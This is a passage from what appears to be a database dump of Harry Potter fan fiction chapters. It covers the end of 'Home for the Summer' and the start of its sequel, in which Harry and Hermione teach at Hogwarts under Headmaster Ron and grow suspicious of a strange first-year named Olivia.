move, if Harry, or even Malfoy, swiped in the \nother direction, they wouldn\'t have fallen. Who knew what would have become of \nthat, but at least there would have been more of a chance.<br><br><br><br>&quot; \nHermoine&quot;. Her name, she knew that specific tone, and exactly how it was \nsaid.<br><br>&quot; Harry&quot; she whispered, recognizing the voice before hers. Perhaps \na aftershock from her premonition. Perhaps, not.<br><br>&quot; Hermoine&quot; the voice \nwas more clear, the name was closer.<br><br>&quot; Harry!&quot; she was facing him in a \nheartbeat. Standing as tall as he was in the doorway, his injured figure \nstumbling every so often. He was alive, Harry Potter was alive.<br><br>Plunging \ninto his arms, Harry clamped his arms around her tightly.<br><br>&quot; How is this \npossible? They said you were dead!&quot; Hermoine screamed in \ntears.<br><br><br><br>Harry managed a voice through her embrace. &quot; I think I was \nfor awhile, Draco got the better of the fall&quot; he waited, &quot; I heard what you \nsaid, I heard everything&quot;.<br><br>&quot; I still mean it, I always have, and I always \nwill&quot;.<br><br><br><br>&quot; I love you Hermoine&quot; he said, feeling at complete ease \nonce the words left his lips. After all this time, he finally said them. &quot; I \nlove you more than life itself&quot; she backed away from his hold, but he couldn\'t \nstop himself. &quot; For as long as I can remember, and when you told me \nthat.......you were going to have a baby, our baby, I didn\'t know what more \nthere could be. Maybe we are young, and that some people believe that we\'re not \nready for love, but we\'ve been through so much&quot;. Hermoine gently brushed a tear \nfrom behind his broken glasses. &quot; And, I love you&quot;.<br><br>Before another \nrambled word could be said, Hermoine leaned forward and kissed him, not just a \npeck, but the kind of kiss you\'d give to someone after confessing your love. \nFrom the night with the diary, to a near death experience.<br><br>Ron came \nbursting from the hallway, wondering where Hermoine had run off too. He saw that \nhis two best friends, one in which he thought was dead, were tongue tied and \ncaught up in each other arms.<br><br><br><br>&quot; Okay, found her&quot; he panted, \nleaving them for privacy.<br><br><br><br>~ THE END~<br><br><br><br>A/N: Yes, the \nending is corny. But I really wanted to finish it, and I knew I wouldn\'t be too \npopular for killing Harry, especially when he had a baby daughter. The story is \ndone, but my goal is to hit 40 reviews at least for the final chapter, please \nhelp! Keep checking for my next story (within the next day or less) called &quot; In \nHarm\'s Way&quot;. THANK YOU AGAIN FOR THE REVIEWS!\n'),
	(195, 14, '~ Home for the Summer~<br><br>Epilogue<br><br>A/N: I didn\'t lie, this \nisn\'t a chapter. It\'s a, well, you saw the title. Thank you for Coolone for the \nidea, I\'ve never done one before. Seeing as the questions only came from \nCoolone, I\'ll just go with the flow.<br><br><br><br>Hermoine, and Harry, did \ncontinue going to Hogwarts, and graduated with academic \nachievements.<br><br><br><br>After graduation, neither ever left \nHogwarts.<br><br><br><br>~ That\'s all I really want to say. If you have anymore \nquestions, let me know. I would say more, but I got a weird idea for a sequel. \nLet me know what you guys think of that idea~\n'),
	(195, 15, '~ Home for the Summer~<br><br>Prologue<br><br>I\'m going to keep the title \nHome for the Summer, because I hate changing titles in the middle of a \nstory.<br><br>You read the epilogue, hopefully, so you already know that Harry, \nHermoine, and Ron graduated from Hogwarts the following year.<br><br>Just a side \nnote- Harry and Hermoine\'s daughter\'s name is Ella, not Elle, but it\'s a simple \nmistake. I named her after Ella Harris, the late Richard Harris eleven-year-old \ngranddaughter. If it were not for her threat of never speaking to her \ngrandfather again, he would have not accepted his role in Harry \nPotter.<br><br>Anyways, with that said, here\'s what\'s going on in the start of \nthe sequel.<br><br><br><br>It\'s four years later, making the gang nineteen, and \nElla is four. After graduation, they did not go back to the Muggle \nworld.<br><br><br><br>Professor Lupin retired after the seventh year, he opened \na small shop in Diagon Alley selling random magical things to gain a great deal \nof wealth. Harry, is the new professor for the Defense Against the Dark Arts \nclasses. He also is a referee for the newest Quidditch matches, still getting \nout the old Firebolt.<br><br>Professor McGonagall resigned when accepting an \noffer to take a seat on the Ministry of Magic (hey, she deserves it). None other \nthan Hermoine Granger took over at the professor for the Transfiguration \nclasses, and head of the Gryffindor house.<br><br>Sadly, in the second semester \nof the seventh year, Headmaster Albus Dumbledore passed away (it has absolutely \nnothing to do with the fact that Richard Harris did as well; it\'s strictly for \nthe story). A note was found in his office, claiming there was one student in \nthe school, and only one, that he would want to take his place. Ron Weasley is \nthe new Headmaster at Hogwarts.<br><br>If there is something I forgot, I\'ll \nprobably mention it somewhere in the sequel. If I don\'t, let me \nknow.<br><br><br><br>And, one final note, for the relationship status of \nHermoine and Harry. The night of their graduation party, Hermoine found an \nengagement midair when running back into the dorm room for something she \nimmediately forgot about. They are not married just yet.\n'),
	(195, 16, '~ Home for the Summer~<br><br>A/N: And yet, another special thank-you to \nLilFlyerGirl for all her extraordinary help. Flu Powder in the bedroom, \nright?<br><br><br><br>Chapter Fifteen- Two Professors, a Headmaster, and a \nLittle Girl<br><br><br><br><br><br>The seventh floor corridor was emerged in \nsilence. It was the birth of a new year. September second, that day easily \nremembered from the former students. Harry Potter being one himself. He had \ngraduated from Hogwarts with honors and then realized that he never wanted to \nleave the place that truly was his home. Along with his best friend and fianc&#233;, \nthey didn\'t want to leave. With that, Hogwarts School of Witchcraft and Wizardry \nwas made their permanent home.<br><br><br><br>The scattering class of first \nyears went entirely quiet upon Harry\'s entrance. Twenty pairs of eyes watched \nhim walk to the front of the classroom.<br><br>&quot; What?&quot; he looked up from his \nbag on the desktop, completely innocent. Several students snickered, a girl in \none of the front rows raised her hand. &quot; Yes, Miss Daniels?&quot;.<br><br>She lowered \nher hand, smiling, &quot; forgive me professor, but, aren\'t you a little-young to be \nteaching?&quot;.<br><br>Harry walked around the desk, leaning against the front, arms \nfolded across his chest, focusing on young Olivia Daniels, &quot; no, not \nnecessarily. I\'ve had more experience in Defense Against the Dark Arts than a \ngood amount of wizards&quot;. Without knowing, he brushed part of his hair from his \neyes, revealing a very good conversation piece.<br><br>There was a roar of gasps \nfrom every student, except Olivia, she just lokst control of her jaw.<br><br>&quot; \nGood gods, you\'re Harry Potter!&quot; one boy snapped. Harry could have sworn his \nstudents knew already.<br><br>&quot; Shut up Longbottom!&quot;.<br><br>Harry followed the \nvoices to a familiar looking resemblance in the back row. &quot; \nLongbottom?&quot;.<br><br>&quot; Alistair Longbottom, sir&quot; he seemed scared of the gaze he \nwas under.<br><br>&quot; Neville\'s brother?&quot;. The boy nodded. &quot; Oh this class is \ngoing to be fun&quot; he muttered mostly to himself.<br><br>Harry turned around to \nwalk forward again, Olivia\'s arm was mid-air again. &quot; Yes?&quot;.<br><br>&quot; Sir, or \nshould I say Professor Potter&quot; she had a spunky grin to his name, &quot; by any \nchance are you going to teach us defense methods against you-know-who?&quot; she \nhesitated on the name.<br><br>They all stared, desperately waiting an \nanswer.<br><br>&quot; Why would you need such a thing? The chances of you \nencountering he who should not be named&quot; as a professor, he had to learn no to \nsay the name like he was use too, &quot; on Hogwarts grounds are slim to \nnone&quot;.<br><br>Olivia still seemed in hesitation, &quot; what about outside of school? \nLike when we\'re at home&quot;.<br><br>&quot; Well, you\'re not suppose to use magic outside \nof the school&quot; he himself had broken that rule several times, which is why he \nnever enforced it as a concrete law, &quot; but, the chances don\'t even exist. No \nstudent has encountered Lord you-know-who, ever&quot;.<br><br>&quot; You have&quot; Alistair \ncommented.<br><br>Harry shrugged, &quot; I wasn\'t a student at the time, heck, I \nwasn\'t even potty trained&quot;.<br><br>The class burst into laughter.<br><br>&quot; The \npoint is&quot; he focused on the girl in the front row, &quot; you\'re safe, you\'re at a \nbig school with protective teachers, and a very well trained \nheadmaster&quot;.<br><br>Alistair, once again, interrupted Harry\'s assurance for \nOlivia. &quot; Ron Weasley!&quot; he cracked, &quot; I\'ve heard horror stories about that guy, \ncan\'t believe he\'s our headmaster!&quot;.<br><br>&quot; Your brother has more \' horror \nstories\' than the Forbidden Forest ever will&quot; the students cooed, &quot; Headmaster \nWeasley is the second best in the league after Dumbledore \nhimself&quot;.<br><br>Longbottom broke the serious tone Harry had. &quot; Is it true he \nate slugs as a prank to get out of an exam?&quot;.<br><br>&quot; No!&quot; he snapped, shocking \nthe students to think he was angry. Harry turned to get a book from his desk, \nlooking over his shoulder with a blissful grin.<br><br>&quot; It was a spell that \nbackfired&quot;.<br><br><br><br><br><br>Hermoine dropped her boulder-weighted bag to \nthe floor of their room. It hadn\'t gotten any lighter for being a teacher. She \nwas beyond exhaustion. Harry had only been there for a minute or so before \nher.<br><br>&quot; First day rough?&quot; he saw her expression.<br><br>Hermoine walked \nlike a zombie to the window where he was standing. &quot; You have no idea&quot; she \ncollapsed into him&quot; giving freedom of experimenting was a nightmare&quot;, he wrapped \nhis arms around her, &quot; two kids ended up in the hospital wing with \ntails&quot;.<br><br>He couldn\'t help but laugh, &quot; still up for going to the \nfeast?&quot;.<br><br>&quot; Of course&quot; she raised her head, &quot; it\'s Ron\'s first welcoming \nfeast as Headmaster, I wouldn\'t miss it&quot;.<br><br>&quot; In that case, I better go get \nthe rugrat&quot; he started towards the door.<br><br>&quot; The what?&quot;.<br><br>He grinned \nright before leaving, &quot; your daughter&quot;.<br><br><br><br><br><br><br><br>During \nthe days when Harry and Hermoine had classes, Hagrid was more than happy to look \nafter the four-year-old. And she was just as ecstatic about her visits. Learning \nabout fascinating creatures, older tales of when Hagrid was a boy (ignoring \nthose that involved the Chamber of Secrets), and his specialty, stories of when \nher parents and godfather (which is Ron) were first students at Hogwarts. Those, \nshe happened to use in the best ways possible.<br><br>On her part that \nis.<br><br>Hagrid slowly opened the door after Harry knocked. He motioned for \nHarry to be silent, then pointing across the cabin to the couch where the little \ngirl was sleeping soundly under an old, wool blanket.<br><br>&quot; She hasn\'t had \nsupper&quot; Hagrid informed him of the day as he walked closer to his sleeping \ndaughter, &quot; went right to playing with Fang. Who knew that old brut had that \nkind of energy left in him. Both passed out within quarter of an hour&quot; Harry saw \nthe old, wrinkled dog asleep by the fire.<br><br>&quot; Thanks Hagrid&quot; Harry said \nafter lifting Ella, her head resting on his shoulder.<br><br>&quot; No problem, no \nproblem at all. How\'s the teaching going?&quot;.<br><br>&quot; Hopefully tomorrow will be \na better day&quot; he said before leaving the house.<br><br>Surely Ella would want to \ngo to the feast, despite an empty stomach, she gained every opportunity to do \nsomething with her father in Hogwarts. Over the years, Ella developed into an \nadorable toddler. She had Hermoine\'s hair, which was obvious, and still kept the \nheritage of her father\'s eyes, and facial expressions.<br><br>Olivia Daniels was \nwalking up to the castle just as he was, they were the only ones out there. \nNormally, students weren\'t outside past the hour of four.<br><br><br><br>&quot; Hello \nOlivia&quot; he greeted smiling.<br><br>She tried to get a closer look at Ella\'s \nface, &quot; she looks rather young to be first year. What house is she \nin?&quot;.<br><br>Harry laughed, &quot; she\'s not a student, she\'s my daughter, she\'s too \nyoung to be a student yet&quot;.<br><br>Olivia looked surprised, &quot; you have a \ndaughter?&quot;. He nodded. &quot; I heard that you were engaged to Professor \nGranger&quot;.<br><br>The idea that she knew random, somewhat personal, facts about \nhim after her second day at the school, kind of worried. &quot; You might want to \nhurry up, the feast is starting soon&quot;.<br><br><br><br>By the time Hermoine met \nup with Harry at the entrance to the great hall, Ella was awake and ready for \nwhatever it was they\'d be doing. She never cared about details.<br><br>Plates \nwere still empty as the three walked to the front of the hall, to be seated next \nto Ron, just has he had ordered. Ron wore the same colored and fancy robes as \nDumbledore did, same hat as well. He looked very serious, when those who knew \nhim, knew better. The hall tables went silent, waiting for the usual \nannouncement given at the beginning of each year before the feast.<br><br>Ron \nstood swiftly, everyone watching him. He loudly cleared his \nthroat.<br><br><br><br>&quot; Nothing to say, everyone start eating&quot;.<br><br>Hermoine \nand Harry laughed, it was very well expected from someone like \nRon.<br><br><br><br><br><br>A/N: Alright, this is getting long and its going \nnowhere. It\'s a chapter that just has to be here, but has no meaning. Don\'t \nworry, I have a great plot in mind. So keep reviewing and stay tuned for less \ncorny chapters.\n'),
	(195, 17, '~ Home for the Summer~<br><br>Summary: As headmaster, Ron is trusted with \nthe most sacred artifact at Hogwarts. He knows exactly what to do with \nit.<br><br>A/N: The corny chapters end here, I think.<br><br><br><br>Chapter \nSixteen- Dumbledore\'s Wand<br><br><br><br>After the feast, it became a \nwell-known fact that the first years, and the older students, were extremely \nfond of the new Headmaster. Though Albus Dumbledore would never be \nforgotten.<br><br><br><br>&quot; Harry!&quot; Ron caught up with him after dinner, leaving \nthe hall.<br><br>&quot; Hey, Headmaster Weasley&quot; Harry joked, &quot; so much for your \nfirst night, but I didn\'t quiet understand one part about your speech \nthere&quot;.<br><br>Ron raised his arms, &quot; hey, the way I see it, the kids are \nstarving, they want to eat, they don\'t want to listen to me. I\'ll get them at \nthe last feast&quot;.<br><br>&quot; You make a wonderful Headmaster Ron&quot; Hermoine said \nfrom standing next to Harry.<br><br>&quot; Thank you Herm&quot; Ron lowered his voice, \nleaning closer to Harry, &quot; can I talk to you for a second in my \noffice?&quot;.<br><br>Harry knew Ron meant something somewhat serious. &quot; Sure&quot; he \nturned back to Hermoine, &quot; I\'ll see you two back at the room?&quot;.<br><br>Hermoine \nknew when to stay out of the guys business. She smiled and left with Ella. Ron \nand Harry headed towards this Headmasters office.<br><br><br><br>It hadn\'t \nchanged, not one single detail since the last time Harry was there. Ron closed \nthe door behind them.<br><br><br><br>&quot; So, what\'s up? I\'m not fired am \nI?&quot;.<br><br>Ron went pale, &quot; why? What happened? Is there a reason that I have \nto fire you?&quot;.<br><br>Harry reacted to the times Ron jumped, thinking he was \ndoing something in the curriculum wrong. &quot; Um, no, it was a joke. Just a joke. \nWhat did you need to talk to me about?&quot;.<br><br>Ron walked up to his desk, Harry \nstayed a little further away. &quot; Along with the note Dumbledore left, there was \nsomething else, something I was only suppose to see, no one else is to know \nabout&quot;.<br><br><br><br>&quot; Then why did you just tell me?&quot;.<br><br>&quot; You\'re Harry \nPotter, I\'m sure he\'ll understand, especially under the circumstances. I have no \nreason to have this in my possession, nor do I trust myself with it. I want to \ngive it to you, for safekeeping, a major safety precaution on this entire \nschool. What do you say?&quot;.<br><br>Unlike is well lit face, Harry had no clue \nwhat to say, &quot; it would really help if you told me what it is that I would be \nkeeping&quot;.<br><br>He was motioned to come closer to the desk. When standing at \nthe other end, Ron pulled the long box from under the tabletop, gently placing \nit where it could be seen. Like it was a explosive device, Ron removed the top \ncover, revealing the wand. It was pure gold, encrusted with jewels, resting \nsafely on the cotton bed.<br><br>&quot; Dumbledore\'s wand&quot; Harry gasped.<br><br>&quot; One \nand only, it has more power than Voldie himself&quot;.<br><br>Harry looked up at Ron, \n&quot; Voldie?&quot;.<br><br>&quot; It sounds better than Vodermont, don\'t you \nthink?&quot;.<br><br>He shrugged, &quot; you\'re the Headmaster. But, why do you want me to \ntake the wand?&quot;.<br><br>&quot; I have horrible luck with wands, you know that. And \nthis isn\'t just some stick from Diagon Ally, all the powers of Hogwarts is in \nthis wand, and he left me in charge of it! Me! Of all people, me!&quot;.<br><br>Harry \nagreed with the late Dumbledore, &quot; if he left you with so much responsibility, \nthen he must have had a good reason. He was a bright man, and he wouldn\'t make \nsuch a decision unless he was absolutely sure&quot;.<br><br>Ron did seem scared of \nthe power he now had, &quot; please Harry. With new Malfoys running around and god \nknows who else, this thing is in grave danger, no one would know if you had it. \nYou are the only person I trust, you and Hermoine that is, but she\'d scowl at me \nfor doing something like this&quot;.<br><br>He couldn\'t help but agree. &quot; Alright, if \nyou\'re sure&quot; Ron nodded in a rapid fashion, &quot; okay, tell you what, I\'ll keep it \nunder the window sill, that way if you ever need it, it\'ll always be \nthere&quot;.<br><br>&quot; Okay&quot; Ron nodded, his voice almost cracking again. To think \npuberty was over.<br><br><br><br><br><br>Harry stepped off the eagles spiral \nstaircase minutes later, securing the wands box near his chest under his robes. \nHe looked in one direction for a clear coast, but the other, he was not as \nlucky. None other than Olivia Daniels.<br><br>&quot; Olivia, what are you doing here? \nYou should be in your common room by this time&quot; Olivia had been sorted into the \nGryffindor housing the previous day.<br><br>She ignored his question from \nauthority, &quot; why were you at the headmasters office? You\'re not getting fired, \nare you?&quot;.<br><br>He hadn\'t taken it into consideration that she came to the \nsame conclusion as him (only his was a joke). &quot; Of course not&quot;.<br><br>&quot; I saw \nthe Headmaster walk here with you after the feast, I-I was worried that maybe \nyou were in trouble&quot;.<br><br>Harry smiled, &quot; Headmaster Weasley and I have been \nfriends for a long time now, I don\'t think he\'d get me in \ntrouble&quot;.<br><br>Olivia sighed with relief, &quot; that\'s good. There are stories of \nhow the two of you behaved when you were students here. Like going into the \nforest, and the Chamber of Secrets, and.&quot;.<br><br>&quot; And all the other things you \nshouldn\'t do&quot; he finished for her, knowing that the trials he faced as a student \nwould be anything but a good influence on the new comers. At least the older \nstudents knew better.<br><br>She seemed to have a concrete stare on him. &quot; You \nweren\'t talking about Lord Voldemort with the Headmaster, were you?&quot;.<br><br>&quot; \nWhat?&quot; never once, aside from Ron and Hermoine, had he heard another student \neven dare to say that name. &quot; Olivia, what are you talking about? Why would we \ntalk about something so terrifying and revolting?&quot;.<br><br>Olivia shrugged, \nbeginning to walk past him. &quot; Things change&quot; she said before leaving. She was \nnot going in the direction of the common room.<br><br><br><br>Hermoine was \nreading, sprawled across the bed reading when Harry returned to the room. Ella \nwas asleep in the connecting room, and did not hear the door slam.<br><br>But it \ncaught Hermoine\'s attention, &quot; what\'s wrong?&quot; she closed the book, sitting \nup.<br><br>&quot; There is something seriously wrong with that Olivia Daniels girl&quot; \nHarry stayed pressed against the door, like he was hiding.<br><br>Hermoine had \nthought something went wrong with Ron, now that he was Headmaster, their \nproblems would be more severe nowadays. &quot; Problems? She\'s just a kid&quot;.<br><br>&quot; \nI\'ve never heard any eleven-year-old talk like that, not even you when you were \nher age&quot;. She signaled for him to continue. &quot; She was outside when I picked up \nElla from Hagrid, the only student out there. She was walking down the hallway \nwhen I left Ron\'s office, and she asked if we were talking about \nVoldemort&quot;.<br><br>&quot; Were you?&quot;.<br><br>Harry shook his head, &quot; no. But she \nasked about him in class today, I thought students were terrified of that \ndemon!&quot;.<br><br>Hermoine shrugged, &quot; we talked about him like he was any other \nguy, well, that\'s how we mentioned his name. Maybe she\'s just not afraid, we \nweren\'t&quot;.<br><br>&quot; She asked if I was going to get fired!&quot; the way he expressed \nthe comment made Hermoine giggle, he sounded like a little boy again.<br><br>She \nleft the mattress walking over to Harry, still positioned against the door. &quot; \nShe has a crush on you&quot;.<br><br>Harry sarcastically laughed, &quot; that\'s great, \nlets make fun of me now. I\'m scared of a little girl, so you\'re going to make \nfun of me, that\'s just perfect&quot;.<br><br>&quot; I\'m serious!&quot; she snapped in a comical \nfashion, &quot; I heard her whisper it to another girl in class this afternoon. She \nsaid you were a cute, and very young for a teacher, it\'s innocent \ntalk&quot;.<br><br>&quot; We never had innocent talk at that age&quot; he randomly \ncommented.<br><br>&quot; We were different, very different. You have nothing to be \nafraid of, because you\'re all mine&quot; she had that dark look in her eye that \nseemed to match perfectly with her smile.<br><br><br><br>Lying in bed later into \nthe night, Harry was the only one awake. No one had ever had certain feelings \nfor him, aside from Hermoine and Ginny Weasley. But Ginny was his best friends \nsister, and he was engaged to Hermoine. He chose to not tell her that Olivia had \nasked about their engagement. He tried to not think of it any longer, she was \nright. It was only words from an innocent eleven-year-old girl.<br><br>Taking \nhis mind of that, Harry remembered the parcel that was still hidden under his \nrobes. Without waking Hermoine, he removed the box, quietly placing it under the \nboards at the windowsill. Just as he had promised Ron, that it would always be \nthere.\n'),
	(195, 18, '~ Home for the Summer~<br><br>A/N: The character Adrianna was named after \nmy sister, and her love for Harry Potter. Except, in the story\'s she eight, \nshe\'s six in real life.<br><br><br><br>Chapter Seventeen- \nObsession<br><br><br><br><br><br>Though Harry was no longer a student, certain \ntraits of still being one were still lodged in his mind. For example, being late \nto class. It was the same thing (except now he was teaching the class) running \ndown the empty corridor. When making a sharp turn around the corner, turns out \nit wasn\'t that empty. The child he ran into, a girl, dropped all her books and \npapers.<br><br>&quot; I am so sorry!&quot; he extended his apologizes while helping her \ngather the items that fell.<br><br>&quot; It\'s alright, I shouldn\'t be this \nlate&quot;.<br><br>Harry recognized the same brown eyes and dirty blonde hair in a \nheartbeat. &quot; Olivia?&quot;. The young girl resembled the student in this class, but \nseemed a bit smaller.<br><br>She moved here eyes away from his, &quot; \nAdrianna&quot;.<br><br>&quot; Oh, I\'m sorry, you look very much like...&quot;.<br><br>Adrianna \nrejected his apology this time, &quot; little sister, I\'m just her little sister&quot; she \ngrabbed the book he was holding and took off again.<br><br><br><br>It was ten \nminutes into class, really fifteen if the delay was added, when Olivia, the real \nOlivia, came into class.<br><br>She swiftly sat down, &quot; sorry Professor, I got \nlost&quot;.<br><br>&quot; It\'s expected&quot; he looked at her, remembering what Hermoine said \nthe night before, and tried to ignore it. &quot; I met your sister&quot;.<br><br>Olivia \narranged the papers on her desk, &quot; worthless brat, shouldn\'t be here&quot; she \nmuttered.<br><br>&quot; Oh come on guys&quot; he addressed the class, &quot; siblings can be \none of the best gifts in life&quot; Harry wouldn\'t know, but his two best friends \nacted as a sister and brother. &quot; How many here have brothers and sisters?&quot;. Many \nhands went up.<br><br>&quot; How many don\'t?&quot; a boy in the back row and himself \nraised their hands. &quot; Even if they aren\'t relatives, someone very close to you. \nA certain, bond, with you and another person can have more power than you think, \neven as children. You\'d be surprised what can happen&quot;.<br><br>The students were \nabsorbing what he said. Except, Olivia.<br><br>&quot; You\'re only saying that because \nyou\'re an only child&quot; she remarked, &quot; you didn\'t have the option, your parents \ndied before you two&quot;.<br><br><br><br>Harry took a deep breath, &quot; yes, they did, \nbut that\'s not always the case&quot;.<br><br>&quot; They were murdered&quot;.<br><br>No \nstudent, besides the ones who were in class with him, ever knew that. The \nprofessors kept the fact as personal as possible.<br><br>A Sharp pain dame to \nhis forehead, the scar. He gently touched it. Suddenly, he remembered being \nthirteen, it was only six years ago. When he heard his mothers voice, her dying \nscreams. Trying to protect her baby son, before she was...murdered.<br><br>&quot; \nThat has nothing to do with the lesson&quot; he silently spoke, she was the only one \nthat was not shocked beyond belief.<br><br>Olivia looked down at her papers, &quot; \nwhy won\'t you talk about it?&quot; she sounded as though she had discussed the topic \nwith him before.<br><br>He kept his eyes on her, while she pretended to be \nwriting. Everyone else was waiting for an answer.<br><br>&quot; It\'s a sensitive \nsubject&quot;.<br><br><br><br><br><br>After class, Harry found himself climbing the \nspiral staircase next to the eagle. Ron was making paper airplanes from \nparchment sheets. One crash- landed next to Harry when he walked in.<br><br>&quot; \nThere\'s nothing to do!&quot; the new Headmaster claimed.<br><br>&quot; Then maybe you can \nhelp me&quot; Harry walked though the room to Ron\'s desk, &quot; I need to see Olivia \nDaniel\'s school profile&quot;.<br><br>&quot; That would be illegal of Hogwarts laws&quot; he \nsounded well rehearsed, &quot; sorry&quot;.<br><br>Harry knew he had to be playing with \nhis mind, &quot; so change the law&quot;.<br><br>&quot; How?&quot;.<br><br>&quot; You\'re the \nHeadmaster!&quot;.<br><br>Ron smirked, sitting forward, &quot; I know&quot; he laughed, &quot; I \njust wanted to hear you say that&quot;. Harry rolled his eyes. Ron picked up his \nwand, the one from when he was a student.<br><br>&quot; First year, Olivia Daniels&quot; \nhe tapped the tip onto his desk. An entire written profile appeared on the \ndesktop. &quot; What would you like to know?&quot;.<br><br>Harry began to pace in front of \nthe desk, &quot; um, where does she live?&quot;.<br><br>&quot; London&quot;.<br><br>&quot; Is she \nMuggle-born?&quot;.<br><br>Ron gazed downward, &quot; nope, her parents went to school \nhere, sister does too&quot;.<br><br>&quot; Adrianna&quot;.<br><br>&quot; Yeah, how\'d you \nknow?&quot;.<br><br>Harry stopped pacing, &quot; ran into her, literally&quot;.<br><br>Ron \nsmirked, &quot; ain\'t she a cutie?&quot;.<br><br>&quot; How is she a first year if she\'s \nyounger?&quot;.<br><br>He tried to hide the guilt creeping across his face, &quot; she had \nthe puppy dog eyes&quot;.<br><br>Harry raised an eyebrow, he knew the look. After \nall, he was the father of a four-year-old.<br><br>&quot; She\'s eight. And I know they \ncannot come until they\'re eleven, but, she\'d different. She started using magic \nwhen she was younger than the rest, so I let her into early admission&quot; he \nsounded as though he was on trial, &quot; but anyway, enough about how I could get \nfired by the Ministry of Magic. Why do you want to know about these \ngirls?&quot;.<br><br><br><br>Harry sighed, &quot; it\'s Olivia. Hermione said she has a \ncrush on me, but, she\'s really weird. Even outside of class&quot;.<br><br>&quot; How \nso?&quot;.<br><br>&quot; Everywhere I go, she\'s there, except earlier when it was the \nsister who looks so much like her&quot; Ron nodded in agreement, &quot; but she knows so \nmuch. She knows I\'m an only child, she knows my parents were murdered, not \nkilled, murdered. And she knows about Voldermort, not Voldie like you got me \nsaying, Voldermort. She says the name&quot;.<br><br>Ron sat there, completely still, \ncompared to Harry\'s rampage. &quot; So, she\'s like Ginny?&quot;.<br><br>&quot; Not in the \nslightest bit!&quot;.<br><br>He shrugged, &quot; she\'s just a kid&quot;.<br><br>&quot; An extremely \nfreaky kid!&quot; Harry snapped, unaware of the names he was using to describe \nher.<br><br>Ron paused, thinking to himself, but only for a minute at the mist. \n&quot; Okay, I have an idea&quot;.<br><br>&quot; Can you put your wand down first? It\'s kind of \nscary&quot;.<br><br>Ron did as asked. &quot; Remember how I told you about the reward for \ngood behavior concept I was working on? Where one student from one of the houses \nwho has been good all week gets to eat dinner with the teachers?&quot;. (meaning, \nevery month, one student from each house would have been chosen)<br><br>Harry \nnodded, &quot; yeah&quot;.<br><br>&quot; Well, what if tonight, even though it hasn\'t started \nyet. I made it Olivia for the Gryffindor house?&quot;.<br><br>&quot; No offense, but \nOlivia Daniels is not the best behaved in Gryffindor (Hermione told him the same \nthing). But her sister...&quot;.<br><br>Ron raised a hand, like Dumbledore did, &quot; \nAdrianna was sorted into Ravenclaw. That\'s the point, it\'s not really the \nreward. If Olivia sat between the two of us...&quot;.<br><br>Harry jumped to \nconclusions, &quot; she won\'t do anything in front of the Headmaster!&quot;.<br><br>&quot; But \nI\'m the cool Headmaster!&quot; he grinned. Harry had no choice but to agree. &quot; If \nyou\'ll excuse me, I\'m going to take my mid- morning nap&quot;.<br><br>Like he said, \nthere was nothing to do.<br><br>Harry remained where he was after left the room \nthrough a door in the back of his office.<br><br><br><br>&quot; Suspicious as you\'ve \nalways been&quot; the familiar voice from the Sorting Hat spoke from the top of the \nbook shelves, taking on it\'s life form.<br><br>Harry glared at it, &quot; tell me \nsomething. You\'ve always sorted members of the same family into the same house. \nWhy not the Daniel\'s sisters?&quot;.<br><br>The hat moaned, &quot; children can take on \nqualities from either parent, making them different people&quot; it sounded like his \nearlier speech in class, &quot; you, however, are identical to your father&quot;.<br><br>&quot; \nWhat\'s so different about Olivia and Adrianna?&quot;.<br><br>&quot; Adrianna is more like \nher father, Olivia, her mother. I remember sorting both her parents. Her mother \nwent into Ravenclaw, but her father, I had no choice but to place in \nSlytherin&quot;.<br><br>He nearly choked, &quot; Slytherin? Why?&quot;.<br><br><br><br>The hat \nlooked as though he was giving some sort of stern expression at Harry, but it \nwas always hard to tell.<br><br>&quot; I\'m not the Question Hat. Some things you\'ll \njust have to find out on your own&quot;.<br><br><br><br><br><br><br><br>~ Thanks \nagain guys for all the reviews!~\n'),
	(195, 19, '~ Home for the Summer<br><br>A/N: Just a warning, that really has no \nreason. This chapter will contain the word \' @$$\'<br><br>Chapter Eighteen- \nSomeone Believe Me<br><br><br><br>The night Ron had planned to invite Olivia to \nthe faculty table in order to monitor her behavior, she was not in the hall. \nAdrianna wasn\'t either, neither turned up for dinner. On such a random \nnight.<br><br>&quot; We\'ll just try again tomorrow night&quot; Ron told Harry while the \nstudents and other staff members filed out after dinner.<br><br>Hermione looked \nat them, &quot; try what?&quot;.<br><br>&quot; That Daniels girl has the hots for Harry and \nit\'s making him paranoid&quot;. Harry nudged his arm.<br><br>She giggled, &quot; Harry, \nshe\'s eleven, it\'s an innocent crush, like the one Ron use to have on \nLavender&quot;.<br><br>&quot; Say what?&quot; Ron\'s voice cracked at a very high pitch that \nechoed off the walls.<br><br>Harry ignored the comment, &quot; It\'s not a crush, and \nit\'s certainly not innocent, it\'s something else&quot;.<br><br>&quot; An obsession?&quot; \nHermione suggested.<br><br>&quot; No!&quot; or maybe. He felt alone, his best friend and \nfianc&#233; didn\'t believe his suspicion. The only thing remotely close was a \nhat.<br><br><br><br>&quot; Where are you going?&quot; Ron asked after Henry jumped over \nthe table and started down the empty aisles between the hall tables.<br><br>&quot; To \nfind Olivia&quot;.<br><br>Ron, Hermione, and Ella watched him leave the hall without \nanother word, and very determined.<br><br>&quot; Want to go watch him get his ass \nkicked by a kid?&quot; Ron casually asked.<br><br>Hermione lifted Ella into her arms, \n&quot; no need to make it worse by watching&quot;.<br><br><br><br>A storm threatening \nnight made visibility in the corridor more difficult than most nights. Lanterns \nflickered the dim light. Harry was still quiet a ways from the Gryffindor common \nroom, when, there was a scraping sound behind him. He stopped, turning his neck \non an angel. There it was again, louder this time.<br><br>&quot; Hermione?&quot;. It \nsounded like footsteps.<br><br>He moved backwards where he already came. &quot; \nRon?&quot;.<br><br>Still no answer.<br><br><br><br>Hermione sat on the cushion by the \nwindowsill, her daughter in her lap. A children\'s book of Witchcraft fairytales \nopen in front of them.<br><br>She heard a moan, a painful moan, just outside the \ndoor.<br><br>Hermione shifted Ella off, leaving her with the book. She stood \nclose to the door, her hand on the knob. Another moan, like someone was \nsuffering. Hermione flung the door open in one swift move, wand in \nhand.<br><br>The only person there, was Harry, lying in the doorway.<br><br>&quot; Hi \nSweetie&quot; he grumbled, in obvious pain, and a little dazed.<br><br>&quot; Harry! Oh my \ngod!&quot; she nearly screamed.<br><br>Dragging him inside, slamming the door behind \nthem, she gently sat him down in the light, able to see his injuries. His shirt \nwas torn from the sleeve and down, a trail of blood following on the skin. The \nbruises on the knuckles of his hands matched the deep blue coloring on his jaw \nline. There was a deep cut under his left eye, yet, he didn\'t notice.<br><br>&quot; \nIt doesn\'t hurt&quot; he commented.<br><br>&quot; What the hell happened to you?&quot; Hermione 